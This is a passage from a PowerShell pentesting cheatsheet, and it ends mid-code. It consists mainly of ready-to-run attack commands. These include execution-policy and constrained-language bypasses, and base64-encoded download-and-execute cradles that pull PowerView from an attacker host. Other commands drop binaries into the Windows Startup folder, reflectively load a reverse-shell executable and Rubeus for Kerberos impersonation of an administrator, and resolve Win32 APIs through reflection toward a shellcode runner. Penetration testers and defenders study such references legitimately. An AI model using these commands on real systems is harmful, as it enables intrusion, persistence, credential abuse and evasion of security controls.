Internal Network Pentest and IR Reference: powershell cheatsheet

# Powershell

## Summary

- [Powershell](#powershell)
    - [Summary](#summary)
    - [Execution Policy](#execution-policy)
    - [Encoded Commands](#encoded-commands)
    - [Constrained Mode](#constrained-mode)
    - [Encoded Commands](#encoded-commands)
    - [Download file](#download-file)
    - [Load Powershell scripts](#load-powershell-scripts)
    - [Load C# assembly reflectively](#load-c-assembly-reflectively)
    - [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
        - [Resolve address functions](#resolve-address-functions)
        - [DelegateType Reflection](#delegatetype-reflection)
        - [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
    - [Secure String to Plaintext](#secure-string-to-plaintext)
    - [References](#references)

## Execution Policy

```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1

# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```

## Constrained Mode

```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode

## Bypass
powershell -version 2
```

## Encoded Commands

- Windows

    ```ps1
    $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    $encodedCommand = [Convert]::ToBase64String($bytes)
    ```

- Linux: :warning: UTF-16LE encoding is required

    ```ps1
    echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
    ```

## Download file

```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output

# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```

## Load Powershell scripts

```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"

# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```

## Load C# assembly reflectively

```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c[PII_REDACTED]e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

## Call Win API using delegate functions with Reflection

### Resolve address functions

To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.

To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.

```powershell
# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()

Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods 
$Assemblies |
  ForEach-Object {
    $_.GetTypes()|
      ForEach-Object {
          $_ | Get-Member -Static| Where-Object {
            $_.TypeName.Contains('Unsafe')
          }
      } 2> $nul l
```

We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`

If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.

```powershell
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') 
})
  
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
```

To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`

Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:

- The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
- The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
`$GetModuleHandle.Invoke($null, @("user32.dll"))`

However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.

Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.

```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
```

If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.

```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "Ge